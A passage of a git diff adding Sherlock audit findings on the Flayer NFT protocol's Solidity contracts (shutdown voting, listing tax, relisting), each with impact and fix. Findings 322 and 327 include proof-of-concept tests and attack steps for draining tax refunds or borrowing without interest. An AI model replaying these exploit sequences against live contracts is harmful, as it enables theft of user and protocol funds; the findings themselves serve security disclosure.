+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+@> params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+## Impact
+The voters cannot get back their voting tokens and also cannot execute this shutdown flow to claim some rewards.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When we cancel one shutdown flow, do not reset the `shutdownVotes`. Then the voters can reclaim their votes.
\ No newline at end of file
diff --git a/001/316.md b/001/316.md
new file mode 100644
index 0000000..ebdbf6e
--- /dev/null
+++ b/001/316.md
@@ -0,0 +1,56 @@
+Precise Lava Starfish
+
+High
+
+# Voters may lose their voting rewards in CollectionShutdown
+
+## Summary
+Voters may not claim their rewards if some users deposits into locker after we execute the shutdown flow.
+
+## Vulnerability Detail
+When we execute the shutdown flow, we will lock the `quorumVotes`. Voters' claim amount will be calculated via `params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`.
+The problem is that users can deposit ERC721 tokens in locker to get some collection tokens. They also can participate the claim via `voteAndClaim`. This will cause that the all claimableVotes may be larger than `params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT`. Some voters may not claim their rewards if there is not enough balance in the contract.
+For example:
+1. Collection total supply is 2 e18.
+2. Alice's balance is 2 e18. And Alice votes for the shut down flow.
+3. The shutdown flow is executed and quorumVotes is 1 e18.
+4. NFTs are sold in sudo swap.
+5. Bob deposits 2 NFT into locker to get 2 e18 collection token and claim this shutdown rewards via `voteAndClaim`.
+6. Alice cannot claim her rewards because there is not enough balance to finish this claim.
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ ...
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+ ...
+ }
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ...
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+ }
+ function voteAndClaim(address _collection) public whenNotPaused {
+ ...
+ uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = payable(msg.sender).call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, msg.sender, userVotes, amount);
+ }
+```
+
+## Impact
+Voters may lose thier voting rewards.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315
+## Tool used
+
+Manual Review
+
+## Recommendation
+When we execute this shutdown flow, the deposit for this collection in locker should be locked.
\ No newline at end of file
diff --git a/001/317.md b/001/317.md
new file mode 100644
index 0000000..2a9c4d2
--- /dev/null
+++ b/001/317.md
@@ -0,0 +1,96 @@
+Wonderful Cinnabar Llama
+
+High
+
+# Protected listing fees will be calculated incorrectly.
+
+## Summary
+Protected listing fee is calculated based on utilization rate which depends on protected listing count and total supply of collection tokens. Therefore checkpoints for protected listings must be created before updating protected listing count or total supply of collection tokens. However, there are several functions which breaks this requirement.
+
+## Vulnerability Detail
+Protected listing fee is calculated based on utilization rate which depends on protected listing count and total supply of collection tokens as follows.
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+Checkpoints for protected listings must be created before updating protected listing count or total supply of collection tokens. If not, new count or total supply will be applied for the period before they are set. However, there are several functions which breaks this requirement.
+
+For instance, the following `ProtectedListings::unlockProtectedListing()` create checkpoint in `L325` after it change the total supply in `L305` and `L308` and change listing count in `L311`.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+305 collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+308 collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ // Remove our listing type
+311 unchecked { --listingCount[_collection]; }
+
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+
+ // Update our checkpoint to reflect that listings have been removed
+325 _createCheckpoint(_collection);
+
+ // Emit an event
+ emit ListingUnlocked(_collection, _tokenId, fee);
+ }
+```
+The same problems exist in `ProtectedListings::liquidateProtectedListing()`, `Listings::createListings()`, `Listings::cancelListings()` and `Listings::fillListings()`.
+
+## Impact
+Protected listing fees will be calculated incorrectly.
+Loss of users' or protocol's funds.
+
+## Code Snippet
+- [Listings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166)
+- [Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414-L470)
+- [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607)
+- [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329)
+- [ProtectedListings::liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429-L484)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Create checkpoints before changing protected listing count or total supply of collection tokens.
\ No newline at end of file
diff --git a/001/318.md b/001/318.md
new file mode 100644
index 0000000..2ee1de1
--- /dev/null
+++ b/001/318.md
@@ -0,0 +1,39 @@
+Amateur Cornflower Fish
+
+Medium
+
+# If a collection has been shutdown but later re-initialized, it cannot be shutdown again
+
+## Summary
+If a collection has been shutdown, it can later be re-initialized for use in the protocol again. But any attempts to shut it down again will fail due to a varaible not being reset when the first shutdown is made.
+## Vulnerability Detail
+When a collection's shutdown has collected `>= quorum` votes, the admin can initiate the [execution of shutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) which essentially sunsets the collection from the locker and lists all the NFTs in a sudoswap pool so owners of the collection token can later claim their share of the sale proceeds.
+
+When the call to [`sunsetCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L409-L427) in `Locker.sol` is made, it deletes both the `_collectionToken` and `collectionInitialized` mappings' entries so that the collection can later be re-registered and initialized if there is interest:
+
+```solidity
+ // Delete our underlying token, then no deposits or actions can be made
+ delete _collectionToken[_collection];
+
+ // Remove our `collectionInitialized` flag
+ delete collectionInitialized[_collection];
+```
+
+The issue is that nowhere during the shutdown process is the `params.shutdownVotes` variable reset back to 0. The only way for it to decrease is if a user reclaims their vote, but then the shutdown won't finalize at all. In normal circumstances, the variable is [checked against]((https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141)) to ensure it is 0 before starting a collection shutdown, in order to prevent starting 2 simulteaneous shutdowns of the same collection.
+
+```solidity
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+```
+
+Thus, since it is never reset back to 0 when the shutdown is executed, if the collection is later re-initialized into the protocol and an attempt to shutdown again is made, the call to `start()` will revert on this line.
+## Impact
+A collection that has been shutdown and later re-initialized can never be shutdown again.
+## Code Snippet
+```solidity
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Reset variable back to 0 when all users have claimed their tokens and the process of shutting down a collection is completely finished.
\ No newline at end of file
diff --git a/001/319.md b/001/319.md
new file mode 100644
index 0000000..4c139c9
--- /dev/null
+++ b/001/319.md
@@ -0,0 +1,36 @@
+Precise Lava Starfish
+
+High
+
+# Missing update `availableClaim` when users claim voting rewards
+
+## Summary
+Voters may claim more rewards if the collection is not in the first shut down flow.
+
+## Vulnerability Detail
+When one collection market is shut down, we can recreate this collection market via `createCollection()` if the collection market becomes active again. It's possible that we will trigger the same collection's shutdown flow several times.
+In the first shut down flow, we accure the `availableClaim`. The problem is that when voters claim their rewards, we don't update the `availableClaim`.
+When we start to shutdown this collection market for the second time, this collection market's rewards will be based on the first shutdown `availableClaim`. Voters may get more rewards than expected if there is enough balance in the contract, or some voters may not get rewards.
+
+```solidity
+ receive() external payable {
+ address sweeperCollection = sweeperPoolCollection[msg.sender];
+ if (sweeperCollection != address(0)) {
+@> _collectionParams[sweeperCollection].availableClaim += msg.value;
+ emit CollectionShutdownTokenLiquidated(sweeperCollection, msg.value);
+ }
+ }
+```
+
+## Impact
+Voters may get more rewards than expected if there is enough balance in the contract, or some voters may not get rewards.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L529-L537
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When voters claim their rewards, `availableClaim` should be timely updated.
\ No newline at end of file
diff --git a/001/320.md b/001/320.md
new file mode 100644
index 0000000..273afb0
--- /dev/null
+++ b/001/320.md
@@ -0,0 +1,52 @@
+Precise Lava Starfish
+
+Medium
+
+# Fail to start one shut down flow if the collection was shut down before.
+
+## Summary
+We cannot start one shutdown flow if this collection was shutdown before.
+
+## Vulnerability Detail
+When one collection market is shut down, we can recreate this collection market via createCollection() if the collection market becomes active again. It's possible that we will trigger the same collection's shutdown flow several times.
+The problem is that when voters claim rewards, we miss updating the `_collectionParams[_collection].shutdownVotes`. When we try to start this collection's shutdown flow for a second time, this will be reverted because `params.shutdownVotes != 0`.
+
+```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ...
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+ params.collectionToken.burn(claimableVotes);
+@> Missing decrease `_collectionParams[_collection].shutdownVotes`
+@> delete shutdownVoters[_collection][_claimant];
+
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+ }
+```
+```solidity
+ function start(address _collection) public whenNotPaused {
+ ...
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+@revert> if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+ ...
+ }
+```
+## Impact
+We cannot start one shutdown flow if this collection was shutdown before.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315
+## Tool used
+
+Manual Review
+
+## Recommendation
+Timely update `_collectionParams[_collection].shutdownVotes` when we claim rewards.
\ No newline at end of file
diff --git a/001/322.md b/001/322.md
new file mode 100644
index 0000000..c76230a
--- /dev/null
+++ b/001/322.md
@@ -0,0 +1,136 @@
+Clean Snowy Mustang
+
+High
+
+# No check if a listing is a liquidation when process tax refund in relisting
+
+## Summary
+No check if a listing is a liquidation when process tax refund in relisting, user can receive refund they didn't pay.
+
+## Vulnerability Detail
+When a protected listing is created, the user is charged no tax, when the protected listing is liquidated, no tax is required either. The liquidation listing can be relisted like normal listings, and tax is refunded to the listing owner regardless.
+
+[Listings.sol#L643-L644](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L643-L644):
+```solidity
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+```
+
+This can be leveraged by attacker to drain the funds in the contract, consider the following scenario:
+1. Bob creates a protected listing by using a floor item, receives 0.95 ether;
+2. At the next block, with another account, Bob liquidates his own protected listing right away to create a liquidation listing, he receives 0.05 ether keeper reward;
+3. In the same transaction, Bob relists the liquidation listing, when it is processed, Bob receives some tax refund he never paid;
+4. Again In the same transaction, Bob cancels the relisted listing, burns 1 ether to receive the floor item back.
+
+After the exploit, Bob still owns the floor item plus the tax refund as a profit (In the PoC below, the profit is 51428571428571428 (0.0514 ether), even if the protected listing is liquidated by others, attacker still earns a profit without the keeper reward).
+
+Please run the PoC in Listings.t.sol to verify:
+```solidity
+ function testAudit_RelistToDrain() public {
+ address bob1 = makeAddr("Bob1");
+ address bob2 = makeAddr("Bob2");
+
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ mintCollectionTokens(address(erc721a), bob2, 1, 4);
+ erc721a.mint(bob1, 888);
+
+ // Initially, Bob owns one ERC721 item and 4 ether collection tokens
+ assertEq(erc721a.ownerOf(888), bob1);
+ assertEq(collectionToken.balanceOf(bob2), 4e18);
+
+ // Bob creates a protected listing
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(bob1),
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ });
+
+ vm.startPrank(bob1);
+ erc721a.approve(address(protectedListings), 888);
+ protectedListings.createListings(_listings);
+ vm.stopPrank();
+
+ // Bob's protected listing becomes liquidatable at the next block
+ vm.warp(block.timestamp + 1);
+
+ /**
+ 1. Bob liquidates his own protected listing;
+ 2. Bob relists the liquidaion listing;
+ 3. Bob cancells the listing
+ */
+ vm.startPrank(bob2);
+
+ // Liquidating
+ protectedListings.liquidateProtectedListing(address(erc721a), 888);
+
+ // Relisting
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IListings.Listing({
+ owner: payable(bob2),
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 1_01
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ // Cancelling
+ listings.cancelListings(address(erc721a), _tokenIdToArray(888), false);
+ vm.stopPrank();
+
+ // At last, Bob still owns one ERC721 item and 4 ether collection tokens, plus 51428571428571428 collection balance in Escrow
+ assertEq(erc721a.ownerOf(888), bob2);
+ assertEq(collectionToken.balanceOf(bob1), 3950000000000000000);
+ assertEq(collectionToken.balanceOf(bob2), 50000000000000000);
+ assertEq(listings.balances(bob1, address(collectionToken)), 51428571428571428);
+ }
+
+ function mintCollectionTokens(address collection, address to, uint id, uint count) private {
+ ERC721Mock token = ERC721Mock(collection);
+
+ uint[] memory depositTokenIds = new uint[](count);
+
+ for (uint i; i < count; ++i) {
+ token.mint(address(this), id);
+ depositTokenIds[i] = id;
+ ++id;
+ }
+
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(collection, depositTokenIds, to);
+ }
+```
+
+## Impact
+
+Pool can be drained by repeating the exploit.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Check if a listing is a liquidation listing, and do not process tax refund if it is.
+
+[Listings.sol#L644](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644):
+```diff
++ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
++ }
+```
\ No newline at end of file
diff --git a/001/327.md b/001/327.md
new file mode 100644
index 0000000..1f694a5
--- /dev/null
+++ b/001/327.md
@@ -0,0 +1,185 @@
+Shiny Mint Lion
+
+High
+
+# The relist() function lacks a check on listing.created, which allows borrowing money from the listing without incurring interest.
+
+## Summary
+The relist() function lacks a check on listing.created, which allows borrowing money from the listing without incurring interest.
+## Vulnerability Detail
+ProtectedListings is designed for users who do not want to sell their NFTs. Through ProtectedListings, users can borrow up to 0.95 ether worth of collectionToken. To retrieve their NFT, they must repay the full principal and interest, and there is also a risk of the NFT being liquidated.
+
+However, due to a vulnerability in the relist() function, it is possible to borrow money from the listing without paying interest and without worrying about the risk of liquidation.
+```javascript
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ @>> Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ @>> _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+
+
+```
+The root cause is that there is no check on listing.created, and the user’s input parameters are directly assigned to _listings[_collection][_tokenId]. As a result, an attacker can set listing.created to a future value, ensuring that the NFT will not be bought by anyone.
+```javascript
+function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
+ // If the token is not currently held in our {Locker}, then the asset is not
+ // currently available to be purchased.
+ if (IERC721(_collection).ownerOf(_tokenId) != address(locker)) {
+ return (isAvailable_, price_);
+ }
+
+ // Check if we have a protected listing attributed to this listing
+ IProtectedListings.ProtectedListing memory protectedListing = protectedListings.listings(_collection, _tokenId);
+ if (protectedListing.owner != address(0)) {
+ return (false, price_);
+ }
+
+ // Load our collection into memory using a single read
+ Listing memory listing = _listings[_collection][_tokenId];
+
+ // Get our collection token's base price, accurate to the token's denomination
+ price_ = 1 ether * 10 ** locker.collectionToken(_collection).denomination();
+
+ // If we don't have a listing object against the token ID, then we just consider
+ // it to be a Floor level asset.
+ if (listing.owner == address(0)) {
+ return (true, price_);
+ }
+
+ // Determine the listing price based on the floor multiple. If this is a dutch
+ // listing then further calculations will be applied later.
+ uint totalPrice = (price_ * uint(listing.floorMultiple)) / MIN_FLOOR_MULTIPLE;
+
+ // This is an edge case, but protects against potential future logic. If the
+ // listing starts in the future, then we can't sell the listing.
+ if (listing.created > block.timestamp) {
+@>> return (isAvailable_, totalPrice);
+ }
+ //----skip---
+}
+```
+Since the getListingPrice() function checks if listing.created > block.timestamp, it will return isAvailable_ = false, making the NFT unsellable.
+#### POC
+Assuming the attacker possesses 1 NFT and 2 ether of collectionToken, the attack steps are as follows:
+
+ 1. Using Account A, the attacker lists the NFT with a price of 3 ether in collectionToken.
+According to the createListings() function, Account A will receive 1 ether in collectionToken.
+
+ 2. Transfer all of the collectionToken (3 ether) to Account B.
+
+ 3. Using Account B, the attacker calls relist() for this NFT, setting listing.created to one month in the future and setting the price to 5 ether in collectionToken.
+At this point, Account A will receive 3 ether in collectionToken.
+
+ 4. One month later, Account B cancels the listing and repays 1 ether in collectionToken. At this point, block.timestamp = _listing.created, and the refund will equal taxPaid, so no tax will need to be paid.
+
+The steps 1-3 can all be completed within a single block, which means no tax will need to be paid at all.
+The attacker effectively borrows 1 ether in collectionToken for free for one month.
+```javascript
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+ if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax in total that will have been paid for this listing
+ uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+@>> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+
+ // Send paid tax fees to the {FeeCollector}
+ unchecked {
+ fees_ = (taxPaid > refund_) ? taxPaid - refund_ : 0;
+ }
+
+ if (_action) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ if (fees_ != 0) {
+ IBaseImplementation implementation = locker.implementation();
+
+ collectionToken.approve(address(implementation), fees_);
+ implementation.depositFees(_collection, 0, fees_);
+ }
+
+ // If there is tax to refund, then allocate it to the user via escrow
+ if (refund_ != 0) {
+ _deposit(_listing.owner, address(collectionToken), refund_);
+ }
+ }
+ }
+```
+
+## Impact
+The attacker can borrow funds from the protocol without paying any interest, leading to losses for the protocol.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L826
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130C14-L130C28
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+- _listings[_collection][_tokenId] = listing;
++ _listings[_collection][_tokenId] = Listing({
++ owner: listing.owner,
++ created: uint40(block.timestamp),
++ duration: listing.duration,
++ floorMultiple: listing.floorMultiple
++ });
+```
\ No newline at end of file
diff --git a/001/329.md b/001/329.md
new file mode 100644
index 0000000..9d0c355
--- /dev/null
+++ b/001/329.md
@@ -0,0 +1,175 @@
+Clean Snowy Mustang
+
+High
+
+# _isLiquidation status is not reset when a liquidation listing is relisted/reserved
+
+## Summary
+[_isLiquidation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L76) status is not reset when a liquidation listing is relisted/reserved, owner who lists the corresponding ERC721 item wont't receive any tax refund.
+
+## Vulnerability Detail
+
+When a liquidation listing is created, its `_isLiquidation` is set to **true**, when the liquidation listing is filled, no tax will be refunded.
+
+[Listings.sol#L501-L513](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L500-L513):
+```solidity
+@> // Check if there is collateral on the listing, as this we bypass fees and refunds
+@> if (!_isLiquidation[_collection][_tokenId]) {
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+
+ assembly {
+ tstore(FILL_FEE, add(tload(FILL_FEE), fee))
+ tstore(FILL_REFUND, add(tload(FILL_REFUND), refund))
+ }
+ } else {
+ delete _isLiquidation[_collection][_tokenId];
+ }
+```
+
+Just like normal listings, a liquidation listing can also be relisted by any users, and user who relists the liquidation listing need to pay tax.
+
+[Listings.sol#L667-L668](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L667-L668):
+```solidity
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+```
+
+However, the `_isLiquidation` status is not reset when a liquidation listing is relisted, results in the user who relists the listing receive no tax refund when the listing is filled.
+
+Please run the PoC in Listings.t.sol to verify:
+```solidity
+ function testAudit_LiquidationStatusNotReset() public {
+ address bob = makeAddr("Bob");
+ erc721a.mint(bob, 888);
+
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ // Bob creates a protected listing
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(bob),
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ });
+
+ vm.startPrank(bob);
+ erc721a.approve(address(protectedListings), 888);
+ protectedListings.createListings(_listings);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1);
+
+ // Bob's protected listing is liquidated
+ protectedListings.liquidateProtectedListing(address(erc721a), 888);
+
+ address alice = makeAddr("Alice");
+ mintCollectionTokens(address(erc721a), alice, 1, 4);
+
+ assertEq(collectionToken.balanceOf(alice), 4e18);
+
+ // Alice relists Bob's liquidation listing for 5 ether
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 500
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ // Alice pays 0.1225 ether tax
+ assertEq(collectionToken.balanceOf(alice), 4 ether - 3 ether - 0.1225 ether);
+
+ address cathy = makeAddr("Cathy");
+ mintCollectionTokens(address(erc721a), cathy, 5, 5);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = 888;
+
+ // Cathy fills Alice's listing
+ vm.startPrank(cathy);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ // Alice receives 4.8775 ether in total, the 0.1225 ether tax is not refunded
+ assertEq(collectionToken.balanceOf(alice), 0.8775 ether);
+ assertEq(listings.balances(alice, address(collectionToken)), 4 ether);
+ }
+
+ function mintCollectionTokens(address collection, address to, uint id, uint count) private {
+ ERC721Mock token = ERC721Mock(collection);
+
+ uint[] memory depositTokenIds = new uint[](count);
+
+ for (uint i; i < count; ++i) {
+ token.mint(address(this), id);
+ depositTokenIds[i] = id;
+ ++id;
+ }
+
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(collection, depositTokenIds, to);
+ }
+```
+
+Likewise, the `_isLiquidation` status is not reset when the liquidation listing is reserved.
+
+## Impact
+
+No tax is refunded, user will suffer a loss.
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+`_isLiquidation` status should be reset when a liquidation listing is relisted/reserved.
+
+[Listings.sol#L667-L671](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L667-L671):
+```diff
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
++ delete _isLiquidation[_collection][_tokenId];
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+```
+
+[Listings.sol#L708-L713](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L708-L713):
+```diff
